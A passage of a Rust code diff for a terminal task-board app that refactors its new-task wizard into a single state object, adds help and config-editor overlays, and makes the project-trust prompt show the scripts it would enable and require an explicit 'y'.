crate::FeatureFlags::default(),+ flags,should_quit: false,board: BoardState::new(),- input_mode: InputMode::Normal,- input_buffer: String::new(),- input_cursor: 0,- pending_task_title: String::new(),- editing_task_id: None,- wizard_selected_plugin: 0,- wizard_plugin_options: vec![],- wizard_referenced_task_ids: HashSet::new(),+ wizard: None,+ config_editor: None,+ help_scroll: None,+ help_max_scroll: Cell::new(0),+ plugins_filtered_for: None,db,global_db,config,@@ -1037,7 +1139,6 @@ impl App {file_search: None,skill_search: None,task_ref_search: None,- highlighted_references: HashSet::new(),task_search: None,pr_confirm_popup: None,review_to_running_task_id: None,@@ -1079,7 +1180,11 @@ impl App {setup_queue: VecDeque::new(),instance_id: uuid::Uuid::new_v4().to_string(),},- })+ };+ // The same call the real constructor makes, so a test exercises the+ // first-run path rather than a copy of it.+ app.open_first_run_editor();+ Ok(app)}/// Swap in a recording sink so a test can assert what the UI enqueued.@@ -1104,8 +1209,8 @@ impl App {/// - **latency** is the pane watcher's cadence, and it wakes the loop only/// when the pane it captured differs from the last one it sent;/// - **housekeeping** β the DB queue, the session refresh, the spinner β runs- /// on its own tick, no faster than it needs to and no longer coupled to- /// how fast the user types;+ /// on its own tick, no faster than it needs to and independent of how fast+ /// the user types;/// - **drawing** happens when state changed, so an idle board with an idle/// popup costs one backstop frame a second.pub async fn run(&mut self) -> Result<()> {@@ -1363,16 +1468,16 @@ impl App {/// Periodic work, on its own tick rather than once per wake-up.///- /// Every item here used to run on every loop iteration β including- /// `process_transition_requests`, which queries SQLite β so its rate rose and- /// fell with how fast the user happened to be typing. Returns whether- /// anything on screen moved.+ /// Running these per loop iteration would tie their rate to how fast the+ /// user happens to be typing β `process_transition_requests` queries SQLite.+ /// Returns whether anything on screen moved.fn run_housekeeping(&mut self) -> bool {let mut changed = false;let now = Instant::now();// Process MCP transition requests from the command queue, on their own- // interval β this is a SQLite query, and it used to run on every tick.+ // interval: this is a SQLite query, and housekeeping's tick is faster+ // than a queued transition needs.if now.duration_since(self.state.last_transition_poll) >= TRANSITION_POLL_INTERVAL {self.state.last_transition_poll = now;if let Err(e) = self.process_transition_requests() {@@ -1731,7 +1836,7 @@ impl App {} else {(build_footer_text(- state.input_mode,+ state.wizard_step(),state.sidebar_focused,state.board.selected_column,has_cyclic_plugin,@@ -1743,7 +1848,7 @@ impl App {} else {(build_footer_text(- state.input_mode,+ state.wizard_step(),state.sidebar_focused,state.board.selected_column,has_cyclic_plugin,@@ -1777,250 +1882,13 @@ impl App {},);- // Input overlay if in input mode- if matches!(- state.input_mode,- InputMode::InputTitle | InputMode::SelectPlugin | InputMode::InputDescription- ) {- let input_area = centered_rect(55, 55, area);- frame.render_widget(Clear, input_area);-- let is_editing = state.editing_task_id.is_some();- let block_title = if is_editing {- " Edit Task "- } else {- " New Task "- };- let text_color = hex_to_color(&state.config.theme.color_text);- let highlight_color = hex_to_color(&state.config.theme.color_accent);- let dimmed_color = hex_to_color(&state.config.theme.color_dimmed);- let selected_color = hex_to_color(&state.config.theme.color_selected);- let desc_color = hex_to_color(&state.config.theme.color_description);-- // Determine current step index: Title=0, Plugin=1, Prompt=2- let step = match state.input_mode {- InputMode::InputTitle => 0,- InputMode::SelectPlugin => 1,- InputMode::InputDescription => 2,- _ => 0,- };- let step_labels = ["Title", "Plugin", "Prompt"];-- let mut lines: Vec<Line<'static>> = Vec::new();- // Pre-wrap every line we push so `lines.len()` always reflects the- // exact visual-row count. The cursor anchor below depends on this:- // if any preceding line wrapped silently in the Paragraph, the- // cursor would land one row too high.- let wrap_width = input_area.width.saturating_sub(2) as usize;- let push_wrapped = |dst: &mut Vec<Line<'static>>, spans: Vec<Span<'static>>| {- for visual in wrap_spans(spans, wrap_width) {- dst.push(visual);- }- };-- // Step indicator breadcrumb- let mut breadcrumb_spans: Vec<Span<'static>> = Vec::new();- breadcrumb_spans.push(Span::raw(" ".to_string()));- for (i, label) in step_labels.iter().enumerate() {- let style = if i == step {- Style::default()- .fg(selected_color)- .add_modifier(Modifier::BOLD)- } else if i < step {- Style::default().fg(highlight_color)- } else {- Style::default().fg(dimmed_color)- };- breadcrumb_spans.push(Span::styled((*label).to_string(), style));- if i < step_labels.len() - 1 {- breadcrumb_spans.push(Span::styled(- " βΊ ".to_string(),- Style::default().fg(dimmed_color),- ));- }- }- push_wrapped(&mut lines, breadcrumb_spans);-- // Separator- let inner_width = input_area.width.saturating_sub(4) as usize;- push_wrapped(- &mut lines,- vec![Span::styled(- format!(" {}", "β".repeat(inner_width.saturating_sub(2))),- Style::default().fg(dimmed_color),- )],- );- lines.push(Line::from(String::new()));-- // Completed fields shown as read-only context- if step >= 1 {- push_wrapped(- &mut lines,- vec![- Span::styled(" Title: ".to_string(), Style::default().fg(dimmed_color)),- Span::styled(- state.pending_task_title.clone(),- Style::default().fg(text_color),- ),- ],- );- }- if step >= 2 {- let plugin_name = state- .wizard_plugin_options- .get(state.wizard_selected_plugin)- .map(|o| o.label.as_str())- .unwrap_or("agtx")- .to_string();- push_wrapped(- &mut lines,- vec![- Span::styled(" Plugin: ".to_string(), Style::default().fg(dimmed_color)),- Span::styled(plugin_name, Style::default().fg(text_color)),- ],- );- }- if step >= 1 {- lines.push(Line::from(String::new()));- }-- // Active area content. Track the insertion point so the native- // terminal cursor can be anchored there β this lets the OS render- // IME composition (Korean, Japanese, Chinese) inline at the cursor- // instead of drifting to wherever the last text was written.- let mut cursor_display: Option<(u16, u16)> = None;- let mut selected_plugin_rows: Option<std::ops::Range<usize>> = None;- let cursor_line_start = lines.len();- match state.input_mode {- InputMode::InputTitle => {- let prefix_cols = Span::raw(" Title: ").width();- let (col, row) = wrapped_cursor_pos(- &state.input_buffer,- state.input_cursor,- prefix_cols,- wrap_width,- );- cursor_display = Some((col as u16, (cursor_line_start + row) as u16));- push_wrapped(- &mut lines,- vec![- Span::styled(- " Title: ".to_string(),- Style::default()- .fg(selected_color)- .add_modifier(Modifier::BOLD),- ),- Span::styled(- state.input_buffer.clone(),- Style::default().fg(text_color),- ),- ],- );- }- InputMode::SelectPlugin => {- let active_plugin = state.config.workflow_plugin.as_deref().unwrap_or("");- for (i, opt) in state.wizard_plugin_options.iter().enumerate() {- let option_start = lines.len();- let is_sel = i == state.wizard_selected_plugin;- let marker = if is_sel { " > " } else { " " };- let is_project_default = (opt.name.is_empty() && active_plugin.is_empty())- || opt.name == active_plugin;- let check = if is_project_default { " β" } else { "" };- let name_style = if is_sel {- Style::default()- .fg(selected_color)- .add_modifier(Modifier::BOLD)- } else {- Style::default().fg(text_color)- };- lines.extend(wizard_plugin_option_lines(- marker,- &opt.label,- &opt.description,- check,- name_style,- Style::default().fg(desc_color),- wrap_width,- ));- if is_sel {- selected_plugin_rows = Some(option_start..lines.len());- }- }- }- InputMode::InputDescription => {- let prefix_cols = Span::raw(" Prompt: ").width();- let (col, row) = wrapped_cursor_pos(- &state.input_buffer,- state.input_cursor,- prefix_cols,- wrap_width,- );- cursor_display = Some((col as u16, (cursor_line_start + row) as u16));- let full_text = format!(" Prompt: {}", state.input_buffer);- // Split on newlines to handle multi-line descriptions.- // Each logical line is then pre-wrapped via push_wrapped so- // visual layout matches wrapped_cursor_pos exactly.- for part in full_text.split('\n') {- if !state.highlighted_references.is_empty() {- let styled = build_highlighted_text(- part,- &state.highlighted_references,- text_color,- highlight_color,- );- for line in styled.lines {- let owned_spans: Vec<Span<'static>> = line- .spans- .into_iter()- .map(|s| Span::styled(s.content.into_owned(), s.style))- .collect();- push_wrapped(&mut lines, owned_spans);- }- } else {- push_wrapped(- &mut lines,- vec![Span::styled(- part.to_string(),- Style::default().fg(text_color),- )],- );- }- }- }- _ => {}- }-- // No `.wrap(...)` β `lines` is already pre-wrapped by `wrap_spans`- // to fit `wrap_width`. Letting Ratatui re-wrap would re-introduce- // the two-source-of-truth bug between renderer and cursor.- let viewport_height = input_area.height.saturating_sub(2) as usize;- let wizard_scroll = selected_plugin_rows- .map(|selected| wizard_plugin_scroll_offset(lines.len(), viewport_height, selected))- .unwrap_or(0);- let content = Paragraph::new(Text::from(lines))- .style(Style::default().fg(text_color))- .scroll((wizard_scroll as u16, 0))- .block(- Block::default()- .title(block_title)- .borders(Borders::ALL)- .border_style(Style::default().fg(selected_color)),- );- frame.render_widget(content, input_area);-- // +1 offsets account for the surrounding Block border.- if let Some((col, row)) = cursor_display {- let abs_x = input_area.x.saturating_add(1).saturating_add(col);- let abs_y = input_area.y.saturating_add(1).saturating_add(row);- if abs_x < input_area.x + input_area.width- && abs_y < input_area.y + input_area.height- {- frame.set_cursor_position((abs_x, abs_y));- }- }+ // The task wizard overlay+ if let Some(ref wizard) = state.wizard {+ let input_area = centered_rect(60, 60, area);+ draw_wizard(state, wizard, frame, input_area);// Search dropdowns (only in InputDescription mode)- if state.input_mode == InputMode::InputDescription {+ if wizard.step() == WizardStep::Prompt {// File search dropdownif let Some(ref search) = state.file_search {if !search.matches.is_empty() {@@ -2583,7 +2451,29 @@ impl App {// Trust confirmation popupif let Some(ref popup) = state.trust_confirm_popup {- let popup_area = centered_rect(60, 30, area);+ // Sized to the content. At a fixed 30% height the answer line fell+ // off the bottom as soon as a project declared two fields β a+ // consent dialog that hides how to answer it.+ let path = popup.project_path.display().to_string();+ let widest = popup+ .dangerous+ .iter()+ .map(|(f, v)| f.len() + v.chars().count() + 5)+ .chain(std::iter::once(path.chars().count()))+ .max()+ .unwrap_or(60)+ .max(52);+ let width = (widest as u16 + 6).min(area.width.saturating_sub(4));+ // path + intro + blank + heading + fields + blank + answer, then+ // borders and the vertical margin.+ let rows = 4 + popup.dangerous.len().max(1) as u16 + 2;+ let height = (rows + 4).min(area.height.saturating_sub(2));+ let popup_area = Rect {+ x: area.x + area.width.saturating_sub(width) / 2,+ y: area.y + area.height.saturating_sub(height) / 2,+ width,+ height,+ };frame.render_widget(Clear, popup_area);let main_block = Block::default()@@ -2594,19 +2484,50 @@ impl App {let inner = popup_area.inner(ratatui::layout::Margin {horizontal: 2,- vertical: 2,+ vertical: 1,});- let text = format!(- "This project's .agtx/config.toml has not been trusted yet.\n\n\- Dangerous fields (init_script, cleanup_script, copy_files) are\n\- currently disabled to protect against untrusted code execution.\n\n\- Project: {}\n\n\- Press any key to trust this project and continue.",- popup.project_path.display()- );- let content = Paragraph::new(text)+ // Left-aligned, and showing the actual values: this is a consent+ // dialog, and a centred summary of "dangerous fields" tells the+ // user nothing about what would run.+ let mut lines: Vec<Line<'static>> = vec![+ Line::from(Span::styled(+ format!("{}", popup.project_path.display()),+ Style::default().fg(Color::White).bold(),+ )),+ Line::from(Span::styled(+ "ships an .agtx/config.toml agtx has not seen before.".to_string(),+ Style::default().fg(Color::White),+ )),+ Line::from(String::new()),+ ];+ if popup.dangerous.is_empty() {+ lines.push(Line::from(Span::styled(+ "It declares no scripts or file copies.".to_string(),+ Style::default().fg(Color::White),+ )));+ } else {+ lines.push(Line::from(Span::styled(+ "Trusting it lets agtx run:".to_string(),+ Style::default().fg(Color::White),+ )));+ for (field, value) in &popup.dangerous {+ lines.push(Line::from(vec![+ Span::styled(+ format!(" {field} = "),+ Style::default().fg(hex_to_color(&state.config.theme.color_dimmed)),+ ),+ Span::styled(value.clone(), Style::default().fg(Color::Yellow)),+ ]));+ }+ }+ lines.push(Line::from(String::new()));+ lines.push(Line::from(Span::styled(+ "[y] trust and enable [n] leave disabled".to_string(),+ Style::default().fg(hex_to_color(&state.config.theme.color_selected)),+ )));++ let content = Paragraph::new(Text::from(lines)).style(Style::default().fg(Color::White))- .alignment(ratatui::layout::Alignment::Center).wrap(Wrap { trim: false });frame.render_widget(content, inner);}@@ -2725,6 +2646,16 @@ impl App {frame.render_widget(content, inner);}+ // The `?` overlay+ if let Some(scroll) = state.help_scroll {+ draw_help(state, scroll, frame, area);+ }++ // The config editor+ if let Some(ref editor) = state.config_editor {+ draw_config_editor(state, editor, frame, area);+ }+// Git diff popupif let Some(ref popup) = state.diff_popup {let popup_area = centered_rect(80, 80, area);@@ -3514,6 +3445,16 @@ impl App {return self.handle_plugin_select_key(key);}+ // Handle the config editor if open+ if self.state.config_editor.is_some() {+ return self.handle_config_editor_key(key);+ }++ // Handle the help overlay if open+ if self.state.help_scroll.is_some() {+ return self.handle_help_key(key);+ }+// Handle task search popup if openif self.state.task_search.is_some() {return self.handle_task_search_key(key);@@ -3527,23 +3468,19 @@ impl App {// Handle based on mode (Dashboard vs Project)match &self.state.mode {AppMode::Dashboard => self.handle_dashboard_key(key.code),- AppMode::Project(_) => match self.state.input_mode {- InputMode::Normal => {- // Ctrl+f = open the selected task in the in-app fullscreen view.- if key.code == KeyCode::Char('f')- && key- .modifiers- .contains(crossterm::event::KeyModifiers::CONTROL)- {- self.open_selected_task_fullscreen()?;- return Ok(());- }- self.handle_normal_key(key.code)+ AppMode::Project(_) if self.state.wizard.is_some() => self.handle_wizard_key(key),+ AppMode::Project(_) => {+ // Ctrl+f = open the selected task in the in-app fullscreen view.+ if key.code == KeyCode::Char('f')+ && key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL)+ {+ self.open_selected_task_fullscreen()?;+ return Ok(());}- InputMode::InputTitle => self.handle_title_input(key),- InputMode::SelectPlugin => self.handle_plugin_select_wizard(key),- InputMode::InputDescription => self.handle_description_input(key),- },+ self.handle_normal_key(key.code)+ }}}@@ -3679,8 +3616,27 @@ impl App {Ok(())}+ /// Answer the trust prompt.+ ///+ /// This decides whether shell commands the user has not read are allowed to+ /// run, so it takes a deliberate `y`. Accepting any key would let typing+ /// ahead after launch, or reaching for an unrelated shortcut, grant it.fn handle_trust_confirm_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {- let _ = key;+ match key.code {+ KeyCode::Char('y') | KeyCode::Char('Y') => {}+ KeyCode::Char('n') | KeyCode::Char('N') | KeyCode::Esc | KeyCode::Char('q') => {+ self.state.trust_confirm_popup = None;+ self.state.warning_message = Some((+ "Left untrusted. init_script, cleanup_script and copy_files stay disabled."+ .to_string(),+ Instant::now(),+ ));+ return Ok(());+ }+ // Anything else leaves the question on screen rather than guessing.+ _ => return Ok(()),+ }+if let Some(popup) = self.state.trust_confirm_popup.clone() {self.state.trust_confirm_popup = None;// Trust the project: save hash to trust store@@ -3705,6 +3661,156 @@ impl App {Ok(())}+ /// Keys while the `?` overlay is up. It is a reference, so it only scrolls+ /// and closes.+ fn handle_help_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ let Some(scroll) = self.state.help_scroll else {+ return Ok(());+ };+ // The renderer clamps to what actually fits; this only has to keep the+ // offset inside the table.+ // Clamp to what the last frame could actually show, not to the table+ // length: an offset past the final screenful looks like a dead key.+ let last = self.state.help_max_scroll.get();+ let clamp = |row: i64| -> usize { row.clamp(0, last as i64) as usize };++ // The same chords the task pane scrolls with, from the same table.+ if let Some(action) = scroll_action_for(key) {+ self.state.help_scroll = Some(match action {+ PopupScroll::Up(lines) => clamp(scroll as i64 - lines as i64),+ PopupScroll::Down(lines) => clamp(scroll as i64 + lines as i64),+ PopupScroll::Bottom => last,+ });+ return Ok(());+ }++ match key.code {+ KeyCode::Esc | KeyCode::Char('q') | KeyCode::Char('?') => {+ self.state.help_scroll = None;+ }+ KeyCode::Char('j') | KeyCode::Down => {+ self.state.help_scroll = Some(clamp(scroll as i64 + 1));+ }+ KeyCode::Char('k') | KeyCode::Up => {+ self.state.help_scroll = Some(clamp(scroll as i64 - 1));+ }+ KeyCode::Home => self.state.help_scroll = Some(0),+ KeyCode::End => self.state.help_scroll = Some(last),+ _ => {}+ }+ Ok(())+ }++ /// Open the config editor on the configs as they are on disk.+ ///+ /// Loaded fresh rather than reconstructed from `state.config`: that is a+ /// *merged* view, and writing it back would bake every global default into+ /// the project file as an explicit override.+ fn open_config_editor(&mut self) {+ let global = GlobalConfig::load().unwrap_or_default();+ let project = self+ .state+ .project_path+ .as_ref()+ .map(|path| ProjectConfig::load(path).unwrap_or_default());++ let agents: Vec<String> = agent::known_agents().into_iter().map(|a| a.name).collect();++ let mut plugins: Vec<String> = skills::BUNDLED_PLUGINS+ .iter()+ .map(|(name, _, _)| name.to_string())+ .collect();+ for custom in skills::discover_custom_plugins(self.state.project_path.as_deref()) {+ if !plugins.contains(&custom.name) {+ plugins.push(custom.name);+ }+ }++ self.state.config_editor = Some(ConfigEditor::open(global, project, &agents, &plugins));+ }++ fn handle_config_editor_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ let Some(editor) = self.state.config_editor.as_mut() else {+ return Ok(());+ };+ let action = editor.handle_key(key);+ // Preview the theme as it is edited. Theme is global-only, so the+ // merged config's copy can simply be replaced β no merge to redo, and+ // every draw call already reads it. `reload_config` on close is what+ // puts back an unsaved experiment.+ let previewed = editor.global.theme.clone();+ self.state.config.theme = previewed;++ match action {+ EditorAction::None => Ok(()),+ EditorAction::Close => {+ self.state.config_editor = None;+ // Drop any previewed theme that was never saved.+ self.reload_config();+ Ok(())+ }+ EditorAction::Save => self.save_config_editor(),+ }+ }++ /// Write both configs, restore the project's trust, and re-merge.+ fn save_config_editor(&mut self) -> Result<()> {+ let Some(editor) = self.state.config_editor.as_mut() else {+ return Ok(());+ };+ let global = editor.global.clone();+ let project = editor.project.clone();++ if let Err(e) = global.save() {+ editor.status = Some(format!("Could not save global config: {e}"));+ return Ok(());+ }++ if let (Some(project), Some(path)) = (project, self.state.project_path.clone()) {+ // Trust is a hash of this file, so read it before the write. See+ // `TrustStore::retrust_after_agtx_write` β the user authored these+ // changes in agtx's own UI, which is the consent the hash protects.+ let was_trusted = crate::config::TrustStore::load()+ .map(|store| store.is_trusted(&path))+ .unwrap_or(false);+ if let Err(e) = project.save(&path) {+ if let Some(editor) = self.state.config_editor.as_mut() {+ editor.status = Some(format!("Could not save project config: {e}"));+ }+ return Ok(());+ }+ if let Err(e) = crate::config::TrustStore::retrust_after_agtx_write(&path, was_trusted)+ {+ self.state.warning_message = Some((+ format!("Config saved, but re-trusting the project failed: {e}"),+ Instant::now(),+ ));+ }+ }++ self.reload_config();+ if let Some(editor) = self.state.config_editor.as_mut() {+ editor.mark_saved("Saved. Worktree settings apply to new tasks.");+ }+ Ok(())+ }++ /// Re-read both configs from disk and rebuild everything derived from them.+ fn reload_config(&mut self) {+ let global = GlobalConfig::load().unwrap_or_default();+ let project = self+ .state+ .project_path+ .as_ref()+ .map(|path| ProjectConfig::load(path).unwrap_or_default())+ .unwrap_or_default();+ self.state.config = MergedConfig::merge(&global, &project);+ self.state.cached_plugin = Some(load_plugin_if_configured(+ &self.state.config,+ self.state.project_path.as_deref(),+ ));+ }+fn open_plugin_select_popup(&mut self) {let current = self.state@@ -3712,7 +3818,7 @@ impl App {.workflow_plugin.as_deref().unwrap_or("agtx");- let mut options = vec![PluginOption {+ let mut options = vec![PickOption {name: "agtx".to_string(),label: "agtx".to_string(),description: "Built-in workflow with skills and prompts".to_string(),@@ -3722,7 +3828,7 @@ impl App {if *name == "agtx" {continue;}- options.push(PluginOption {+ options.push(PickOption {name: name.to_string(),label: name.to_string(),description: desc.to_string(),@@ -3734,7 +3840,7 @@ impl App {if !custom.plugin.supports_agent(agent_name) {continue;}- options.push(PluginOption {+ options.push(PickOption {name: custom.name.clone(),label: custom.name.clone(),description: custom.description,@@ -3777,6 +3883,12 @@ impl App {return Ok(());};+ // Read trust *before* the write: saving the config changes its hash,+ // which is what trust is. See `TrustStore::retrust_after_agtx_write`.+ let was_trusted = crate::config::TrustStore::load()+ .map(|store| store.is_trusted(&project_path))+ .unwrap_or(false);+// Load current project configlet mut project_config = ProjectConfig::load(&project_path).unwrap_or_default();@@ -3799,6 +3911,18 @@ impl App {// Save project configproject_config.save(&project_path)?;+ // The save just invalidated the trust hash. Restore the prior decision+ // so picking a plugin does not untrust the project behind the user's+ // back; a project that was already untrusted stays that way.+ if let Err(e) =+ crate::config::TrustStore::retrust_after_agtx_write(&project_path, was_trusted)+ {+ self.state.warning_message = Some((+ format!("Plugin set, but re-trusting the project failed: {}", e),+ Instant::now(),+ ));+ }+// Refresh merged config and cached pluginlet global_config = GlobalConfig::load().unwrap_or_default();self.state.config = MergedConfig::merge(&global_config, &project_config);@@ -4207,16 +4331,7 @@ impl App {return Ok(());}- let scroll_action = match key.code {- KeyCode::Char('p') | KeyCode::Up if has_ctrl => Some(PopupScroll::Up(5)),- KeyCode::Char('n') | KeyCode::Down if has_ctrl => Some(PopupScroll::Down(5)),- KeyCode::Char('u') if has_ctrl => Some(PopupScroll::Up(20)),- KeyCode::PageUp => Some(PopupScroll::Up(20)),- KeyCode::Char('d') if has_ctrl => Some(PopupScroll::Down(20)),- KeyCode::PageDown => Some(PopupScroll::Down(20)),- KeyCode::Char('g') if has_ctrl => Some(PopupScroll::Bottom),- _ => None,- };+ let scroll_action = scroll_action_for(key);if let Some(action) = scroll_action {handle_popup_scroll(popup,@@ -4304,11 +4419,12 @@ impl App {return Ok(());}- // Description editor open: insert pasted text at cursor- if self.state.input_mode == InputMode::InputDescription {- let cursor = self.state.input_cursor;- self.state.input_buffer.insert_str(cursor, &text);- self.state.input_cursor += text.len();+ // Prompt step open: insert pasted text at the caret.+ if self.state.wizard_step() == Some(WizardStep::Prompt) {+ let prompt = self.prompt_mut();+ let cursor = prompt.cursor;+ prompt.buffer.insert_str(cursor, &text);+ prompt.cursor += text.len();}Ok(())@@ -4485,10 +4601,8 @@ impl App {KeyCode::Char('k') | KeyCode::Up => self.state.board.move_up(),KeyCode::Char('o') => {// New task- self.state.input_mode = InputMode::InputTitle;- self.state.input_buffer.clear();- self.state.pending_task_title.clear();- self.state.editing_task_id = None;+ self.state.wizard = Some(WizardState::creating());+ self.seed_wizard_lists();}KeyCode::Enter => {if let Some(task) = self.state.board.selected_task() {@@ -4501,11 +4615,9 @@ impl App {}} else if task.status == TaskStatus::Backlog {// Edit task- self.state.editing_task_id = Some(task.id.clone());- self.state.input_buffer = task.title.clone();- self.state.input_cursor = self.state.input_buffer.len();- self.state.pending_task_title.clear();- self.state.input_mode = InputMode::InputTitle;+ self.state.wizard =+ Some(WizardState::editing(task.id.clone(), task.title.clone()));+ self.seed_wizard_lists();} else if task.session_name.is_some() {// Open shell popup or fullscreenif self.state.config.fullscreen_on_enter {@@ -4565,6 +4677,8 @@ impl App {// Open plugin selection popupself.open_plugin_select_popup();}+ KeyCode::Char(',') => self.open_config_editor(),+ KeyCode::Char('?') => self.state.help_scroll = Some(0),KeyCode::Char('u') if self.state.update_available.is_some() => {self.open_update_popup();}@@ -4577,444 +4691,503 @@ impl App {Ok(())}- fn handle_title_input(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {- let has_alt = key.modifiers.contains(crossterm::event::KeyModifiers::ALT);- match key.code {- KeyCode::Esc => {- self.cancel_wizard();- }- KeyCode::Enter => {- if !self.state.input_buffer.is_empty() {- self.state.pending_task_title = self.state.input_buffer.clone();- self.state.input_buffer.clear();- self.state.input_cursor = 0;- self.advance_from_title();- }- }- KeyCode::Left if has_alt => {- self.state.input_cursor =- word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Right if has_alt => {- self.state.input_cursor =- word_boundary_right(&self.state.input_buffer, self.state.input_cursor);- }- // macOS: Option+Left/Right sends Alt+b / Alt+f- KeyCode::Char('b') if has_alt => {- self.state.input_cursor =- word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Char('f') if has_alt => {- self.state.input_cursor =- word_boundary_right(&self.state.input_buffer, self.state.input_cursor);- }- // Alt+Backspace: delete word backward (macOS Option+Delete)- KeyCode::Backspace if has_alt => {- let new_pos = word_boundary_left(&self.state.input_buffer, self.state.input_cursor);- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;- }- KeyCode::Left => {- self.state.input_cursor =- prev_char_boundary(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Right => {- self.state.input_cursor =- next_char_boundary(&self.state.input_buffer, self.state.input_cursor);- }- KeyCode::Home => {- self.state.input_cursor = 0;- }- KeyCode::End => {- self.state.input_cursor = self.state.input_buffer.len();- }- KeyCode::Backspace => {- if self.state.input_cursor > 0 {- let new_pos =- prev_char_boundary(&self.state.input_buffer, self.state.input_cursor);- self.state- .input_buffer- .drain(new_pos..self.state.input_cursor);- self.state.input_cursor = new_pos;- }- }- KeyCode::Delete => {- if self.state.input_cursor < self.state.input_buffer.len() {- let end = next_char_boundary(&self.state.input_buffer, self.state.input_cursor);- self.state.input_buffer.drain(self.state.input_cursor..end);+ /// The wizard's state. Only reachable while it is open, which the key+ /// dispatch guarantees before routing anything here.+ fn wizard_mut(&mut self) -> &mut WizardState {+ self.state+ .wizard+ .as_mut()+ .expect("wizard handlers only run while the wizard is open")+ }++ /// Every key the wizard sees, whichever step it is on.+ ///+ /// The navigation keys are handled first and identically on all three+ /// steps β that is the whole point of one handler. Only what is left over+ /// is dispatched to the step.+ fn handle_wizard_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);++ // A dropdown on the prompt step owns its keys entirely, including Esc+ // and Enter β closing the picker must not also step the wizard back.+ if self.wizard_mut().step() == WizardStep::Prompt+ && (self.handle_task_ref_search_key(key)+ || self.handle_skill_search_key(key)+ || self.handle_file_search_key(key))+ {+ return Ok(());+ }++ // Any keystroke means the user is acting on the complaint, so it goes.+ self.wizard_mut().validation = None;++ // An open filter owns Esc the way a prompt dropdown does: closing the+ // filter must not take the wizard with it.+ if key.code == KeyCode::Esc {+ if let Some(list) = self.wizard_mut().current_list_mut() {+ if list.is_filtering() {+ list.stop_filter();+ list.settle();+ return Ok(());}}- KeyCode::Char(c) => {- self.state.input_buffer.insert(self.state.input_cursor, c);- self.state.input_cursor += c.len_utf8();- }- _ => {}}- Ok(())- }- fn handle_plugin_select_wizard(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {match key.code {+ // Save from anywhere, so a correction made on step one does not+ // require walking forward through the rest of the flow again.+ KeyCode::Char('s') if ctrl => {+ self.try_save_wizard()?;+ return Ok(());+ }+ // Esc leaves the wizard outright, from any step. Stepping back is+ // Shift+Tab / Ctrl+B below β one key that always means "get me out+ // of here" beats one whose effect depends on where you are.KeyCode::Esc => {self.cancel_wizard();+ return Ok(());}- KeyCode::Char('j') | KeyCode::Down => {- let max = self.state.wizard_plugin_options.len().saturating_sub(1);- if self.state.wizard_selected_plugin < max {- self.state.wizard_selected_plugin += 1;- }- }- KeyCode::Char('k') | KeyCode::Up => {- if self.state.wizard_selected_plugin > 0 {- self.state.wizard_selected_plugin -= 1;- }+ // Legacy terminals send BackTab; the Kitty protocol sends Tab with+ // SHIFT. Both mean the same thing.+ KeyCode::BackTab => {+ self.wizard_mut().back();+ return Ok(());}- KeyCode::Tab => {- let len = self.state.wizard_plugin_options.len();- if len > 0 {- self.state.wizard_selected_plugin =- (self.state.wizard_selected_plugin + 1) % len;- }+ KeyCode::Tab+ if key+ .modifiers+ .contains(crossterm::event::KeyModifiers::SHIFT) =>+ {+ self.wizard_mut().back();+ return Ok(());}- KeyCode::Enter => {- self.init_description_input();+ KeyCode::Char('b') if ctrl => {+ self.wizard_mut().back();+ return Ok(());}_ => {}}++ match self.wizard_mut().step() {+ WizardStep::Title => self.handle_title_input(key),+ WizardStep::Agent | WizardStep::Plugin => self.handle_list_step_key(key),+ WizardStep::Prompt => self.handle_prompt_input(key),+ }+ }++ fn handle_title_input(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ match key.code {+ KeyCode::Enter => self.advance_wizard()?,+ // Motion, deletion and ordinary characters are the same in every+ // text field; only the keys above mean something particular here.+ _ => {+ self.wizard_mut().title.handle_edit_key(key);+ }+ }Ok(())}- fn handle_description_input(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {- // Handle task reference search mode if active- if let Some(ref mut search) = self.state.task_ref_search {+ /// Keys on the agent and plugin steps. Both are pick-one-from-a-list, so+ /// they share a handler.+ ///+ /// `/` starts a filter, and while one is open ordinary characters go to it+ /// β which is why navigation there is arrows and `C-n`/`C-p` rather than+ /// `j`/`k`. Without the filter open, `j`/`k` navigate as usual.+ fn handle_list_step_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {+ let ctrl = key+ .modifiers+ .contains(crossterm::event::KeyModifiers::CONTROL);+ if key.code == KeyCode::Enter {+ return self.advance_wizard();+ }+ let Some(list) = self.wizard_mut().current_list_mut() else {+ return Ok(());+ };++ if list.is_filtering() {match key.code {- KeyCode::Esc => {- // Cancel task ref search, remove `!` + pattern from buffer- let remove_end = search.start_pos + 1 + search.pattern.len();- let suffix = self.state.input_buffer[remove_end..].to_string();- self.state.input_buffer.truncate(search.start_pos);- self.state.input_buffer.push_str(&suffix);- self.state.input_cursor = search.start_pos;- self.state.task_ref_search = None;- }- KeyCode::Enter | KeyCode::Tab => {- if let Some((task_id, title, _status)) =- search.matches.get(search.selected).cloned()- {- // Replace `!` + pattern with ![task-title]- let pattern_end = search.start_pos + 1 + search.pattern.len();- let suffix = self.state.input_buffer[pattern_end..].to_string();- self.state.input_buffer.truncate(search.start_pos);- let ref_text = format!("![{}]", title);- self.state.input_buffer.push_str(&ref_text);- self.state.input_cursor = self.state.input_buffer.len();- self.state.input_buffer.push_str(&suffix);- self.state.highlighted_references.insert(ref_text);- self.state.wizard_referenced_task_ids.insert(task_id);- }- self.state.task_ref_search = None;- }- KeyCode::Up => {- if search.selected > 0 {- search.selected -= 1;- }- }- KeyCode::Down => {- if search.selected < search.matches.len().saturating_sub(1) {- search.selected += 1;- }- }- KeyCode::Backspace => {- if search.pattern.is_empty() {- // Remove the `!` trigger character- if self.state.input_cursor > 0 {- self.state.input_cursor -= 1;- 